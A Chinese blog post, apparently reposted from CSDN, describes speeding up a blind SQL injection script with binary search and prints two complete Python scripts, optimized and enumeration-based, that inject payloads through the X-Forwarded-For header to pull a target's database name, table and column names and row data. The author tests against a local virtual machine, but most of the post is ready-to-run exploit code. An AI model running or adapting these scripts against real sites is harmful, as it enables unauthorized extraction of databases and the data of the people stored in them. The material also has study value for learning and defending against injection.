二分查找结合sql盲注

回顾

昨天晚上写了一个sql盲注的脚本,对数据是采用的枚举方法,简单跑了一下发现非常的慢,于是上网去找了一下别人的代码。

分析

网上的代码

def get_Current_DbName(self):
        table_list = []
        #二分法获取数据库名
        Namelen = self.get_Current_Db_Len()
        TempLen = 0
        DbName = ""
        try:
            while(True):
                temp_bottom = 33
                temp_top = 126
                while(True):
                    #当前ascii小于temp_top
                    payload = "?id=1%27+and+((ascii(substr(database(),{},1))) < {})--+".format(TempLen+1,temp_top)
                    final_payload=self.url+payload
                    result = SqlInject.judge(final_payload)
                    # print(final_payload)
                    if self.word1 in result:
                        temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
                        #循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                        interval = ceil((temp_top-temp_bottom)/2)
                        continue
                    #当前ascii大于temp_top
                    payload = "?id=1%27+and+((ascii(substr(database(),{},1))) > {})--+".format(TempLen+1,temp_top)
                    final_payload=self.url+payload
                    result = SqlInject.judge(final_payload)
                    if self.word1 in result:
                        temp_bottom = temp_top
                        temp_top = temp_top + interval
                        continue
                    #当前ascii等于temp_top
                    payload = "?id=1%27+and+((ascii(substr(database(),{},1))) = {})--+".format(TempLen+1,temp_top)
                    final_payload=self.url+payload
                    result = SqlInject.judge(final_payload)
                    if interval == 0:
                        exit("unknown error about variable interval")
                    if self.word1 in result:
                        DbName += chr(temp_top)
                        print("Database_name:"+DbName)
                        TempLen += 1
                        break
                if TempLen == Namelen:
                    table_list.append("Database_name:"+DbName)
                    break
        except Exception as e:
            print("Unknown error:",e)
        return table_list

可以看到这就是一个二分算法,时间复杂度比我的枚举方法低了很多,但是对于sql注入来说,耗时最长的是网络请求部分,所以我们想要减少耗时的关键就在如何减少网络请求次数,即算法中的比较部分。

找学算法的同学帮忙

俺找到了学算法的同学,他给我发了一个链接

https://labuladong.github.io/ebook/%E7%AE%97%E6%B3%95%E6%80%9D%E7%BB%B4%E7%B3%BB%E5%88%97/%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE%E8%AF%A6%E8%A7%A3.html

这位大佬的文章写的很棒,我这种没学算法的菜鸡都能看得懂,

大佬真强

同学帮我写了一个比较次数少的代码

def binarySearch(url,payload,start,end):
    left=start
    right=end
    mid=0
    while left<right:
        mid = (left+right)//2
        if mid>=payload:
            right=mid
        else:
            left=mid+1
    return left

于是以这个为核心修改了我的代码

算法优化后

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urllib
import math
import time


data="u=45345345&p=45345345&bianhao=1&a=1"
def binarySearch(url,payload,start,end):
    left=start
    right=end
    while left<right:
        mid=math.floor((left+right)/2)
        xkey1=payload.format(mid)
        headers = {'Content-Type': 'application/x-www-form-urlencoded','X-Forwarded-For': xkey1}
        response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
        if response.status_code==200:
            right=mid
        else:
            left=mid+1
    return int(left)

def database_length(url):
    xkey = "1' or (select length(database()))<={}#"
    return binarySearch(url, xkey, 0, 100)


def database_name(url):
    databasename = ''
    aa = database_length(url)
    for i in range(1, aa + 1):
        xkey = "1' or ascii(substring(database(),%s,1))<={}#" % i
        databasename += chr(binarySearch(url, xkey, 32, 126))
    return databasename




def table_count(url, database):
    xkey = "1' or (select count(table_name) from information_schema.tables where table_schema=" + "'" + database + "')" + "<={}#"
    return binarySearch(url, xkey, 0, 100)


def table_length(url, a, database):
    xkey = "1' or (select length(table_name) from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1)<={}#" % a
    return binarySearch(url, xkey, 0, 100)


def table_name(url, database):
    table_name = []
    bb = table_count(url, database)
    for i in range(0, bb):
        user = ''
        cc = table_length(url, i, database)
        if cc == None:
            break
        for j in range(1, cc + 1):
            xkey = "1' or ascii(substring((select table_name from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1),%s,1))<={}#" % (i, j)
            user += chr(binarySearch(url, xkey, 32, 126))
        table_name.append(user)
    return table_name




def column_count(url, table_name):
        xkey = "1' or (select count(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + ")<={}#"
        return binarySearch(url, xkey, 0, 100)


def column_length(num, url, table_name):
    limit = " limit %s,1)<={}" % num
    xkey = "1' or (select length(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
    return binarySearch(url, xkey, 0, 100)


def column_name(url, table_name):
    column_name = []
    dd = column_count(url, table_name)
    for i in range(0, dd):
        user = ''
        bb = column_length(i, url, table_name)
        if bb == None:
            break
        for j in range(1, bb + 1):
            limit = " limit %s,1),%s,1))<={}" % (i, j)
            xkey = "1' or ascii(substring((select column_name from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
            user += chr(binarySearch(url, xkey, 32, 126))
        column_name.append(user)
    return column_name


def data_count(url, table,column):
    xkey = "1' or (select count("+column+") from "+table+")<={}#"
    return binarySearch(url, xkey, 0, 100)


def data_length(num, url, table,column):
        limit = " limit %s,1)<={}" % num
        xkey = "1' or (select length("+column+") from "+table+limit+"#"
        return binarySearch(url, xkey, 0, 100)


def data_data(url, table,column):
    data_data = []
    dd = data_count(url, table,column)
    for i in range(0, dd + 1):
        user = ''
        bb = data_length(i, url, table,column)
        if bb == None:
            break
        for j in range(1, bb + 1):
            limit = " limit %s,1),%s,1))<={}" % (i, j)
            xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
            user += chr(binarySearch(url, xkey, 32, 126))
        data_data.append(user)
    return data_data

def data_dataall(url, table,column,line,count):
    user = ''
    bb = data_length(line, url, table,column)
    for j in range(0, bb + 1):
        limit = " limit %s,1),%s,1))<={}" % (line, j)
        xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
        user += chr(binarySearch(url, xkey, 32, 126))
    return user

if __name__ == '__main__':
    one = float(time.time())
    url = 'http://192.168.164.138/test.php'
    databasename = database_name(url)
    print "The current database:" + databasename
    #database = raw_input("Please input your databasename: ")
    database="test"
    databasedata = {}
    tables = table_name(url, database)
    print database + " have the tables:",
    print tables
    for table in tables:
        k={}
        column1=[]
        print table + " have the columns:"
        column1=column_name(url, table)
        for j in range(0, len(column1)):
            k[j+1] = column1[j]
        databasedata[table]=k
        print column1
    print(databasedata)
    databasedata={'123': {1: 'id'}, 'book': {1: 'book_id', 2: 'price'}}
    while 1:
        print "请输入你要读取的表名"
        #table = raw_input("Please input your table_name: ")
        table="book"
        if databasedata.has_key(table)!=False:
            break

    #column = raw_input("Please input your column_name: ")
    column=""
    if len(column)>0:
        print column+"have the data:"
        print data_data(url, table, column)
    else:
        count=data_count(url, table, databasedata[table][1])
        print "count="+str(count)
        dataline="count  "
        for i in range(0, len(databasedata[table])):
            dataline=dataline+databasedata[table][i+1]+"  "
        print dataline
        for line in range(0,count):
            dataline=str(line)+"  "
            for i in range(0, len(databasedata[table])):
                dataline+=data_dataall(url, table, databasedata[table][i+1], str(line), count)+"  "
            print dataline

    two = float(time.time())
    interval = two - one
    print(interval)

算法优化前

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urllib
import time


data="u=45345345&p=45345345&bianhao=1&a=1"

def database_length(url):
    for i in range(1, 100):
        xkey = "1' or (select length(database()))=%s#" % i
        headers = {'Content-Type': 'application/x-www-form-urlencoded','X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
        #print(response)
        if response.status_code==200:
            return i


def database_name(url):
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    databasename = ''
    aa = database_length(url)
    for i in range(1, aa + 1):
        for payload in payloads:
            xkey = "1' or ascii(substring(database(),%s,1))=%s#" % (i, ord(payload))
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
            if response.status_code==200:
                databasename += payload
                break
    return databasename




def table_count(url, database):
    for i in range(1, 100):
        xkey = "1' or (select count(table_name) from information_schema.tables where table_schema=" + "'" + database + "')" + "=%s#" % i
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def table_length(url, a, database):
    for i in range(1, 100):
        xkey = "1' or (select length(table_name) from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1)=%s#" % (a, i)
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def table_name(url, database):
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    table_name = []
    bb = table_count(url, database)
    for i in range(0, bb + 1):
        user = ''
        cc = table_length(url, i, database)
        if cc == None:
            break
        for j in range(0, cc + 1):
            for payload in payloads:
                xkey = "1' or ascii(substring((select table_name from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1),%s,1))=%s#" % (i, j, ord(payload))
                headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                if response.status_code==200:
                    user += payload
                    break
                    # print payload
        table_name.append(user)
    return table_name




def column_count(url, table_name):
    for i in range(1, 100):
        xkey = "1' or (select count(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + ")=%s#" % i
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def column_length(num, url, table_name):
    for i in range(1, 100):
        limit = " limit %s,1)=%s" % (num, i)
        xkey = "1' or (select length(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def column_name(url, table_name):
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    column_name = []
    dd = column_count(url, table_name)
    for i in range(0, dd + 1):
        user = ''
        bb = column_length(i, url, table_name)
        if bb == None:
            break
        for j in range(0, bb + 1):
            for payload in payloads:
                limit = " limit %s,1),%s,1))=%s" % (i, j, ord(payload))
                xkey = "1' or ascii(substring((select column_name from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
                headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                if response.status_code==200:
                    user += payload
                    break
        column_name.append(user)
    return column_name


def data_count(url, table,column):
    for i in range(1, 100):
        xkey = "1' or (select count("+column+") from "+table+")=%s#" % i
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def data_length(num, url, table,column):
    for i in range(1, 100):
        limit = " limit %s,1)=%s" % (num, i)
        xkey = "1' or (select length("+column+") from "+table+limit+"#"
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
        response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
        if response.status_code==200:
            return i


def data_data(url, table,column):
    payloads = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.'
    data_data = []
    dd = data_count(url, table,column)
    for i in range(0, dd + 1):
        user = ''
        bb = data_length(i, url, table,column)
        if bb == None:
            break
        for j in range(0, bb + 1):
            for payload in payloads:
                limit = " limit %s,1),%s,1))=%s" % (i, j, ord(payload))
                xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
                headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                if response.status_code==200:
                    user += payload
                    break
        data_data.append(user)
    return data_data

def data_dataall(url, table,column,line,count):
    payloads = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.'
    user = ''
    bb = data_length(line, url, table,column)
    for j in range(0, bb + 1):
        for payload in payloads:
            limit = " limit %s,1),%s,1))=%s" % (line, j, ord(payload))
            xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
            if response.status_code==200:
                user += payload
                break
    return user

if __name__ == '__main__':
    one = float(time.time())
    url = 'http://192.168.164.138/test.php'
    databasename = database_name(url)
    print "The current database:" + databasename
    #database = raw_input("Please input your databasename: ")
    database="test"
    databasedata = {}
    tables = table_name(url, database)
    print database + " have the tables:",
    print tables
    for table in tables:
        k={}
        column1=[]
        print table + " have the columns:"
        column1=column_name(url, table)
        for j in range(0, len(column1)):
            k[j+1] = column1[j]
        databasedata[table]=k
        print column1
    print(databasedata)
    databasedata={'123': {1: 'id'}, 'book': {1: 'book_id', 2: 'price'}}
    while 1:
        print "请输入你要读取的表名"
        #table = raw_input("Please input your table_name: ")
        table ="book"
        if databasedata.has_key(table)!=False:
            break

    #column = raw_input("Please input your column_name: ")
    column=""
    if len(column)>0:
        print column+"have the data:"
        print data_data(url, table, column)
    else:
        count=data_count(url, table, databasedata[table][1])
        print "count="+str(count)
        dataline="count  "
        for i in range(0, len(databasedata[table])):
            dataline=dataline+databasedata[table][i+1]+"  "
        print dataline
        for line in range(0,count):
            dataline=str(line)+"  "
            for i in range(0, len(databasedata[table])):
                dataline+=data_dataall(url, table, databasedata[table][i+1], str(line), count)+"  "
            print dataline

    two = float(time.time())
    interval = two - one
    print(interval)

验证效果

这里使用本地的虚拟机来进行测试,防止其他网络请求的干扰

数据表结构

在这里插入图片描述

优化前耗时

在这里插入图片描述

优化后耗时

在这里插入图片描述
可以看出来差距是很大的,虽然只跑了两个md5,但是时间对比是非常明显的
果然算法是基础。害

猜你喜欢

转载自blog.csdn.net/qq_43645782/article/details/105513532
今日推荐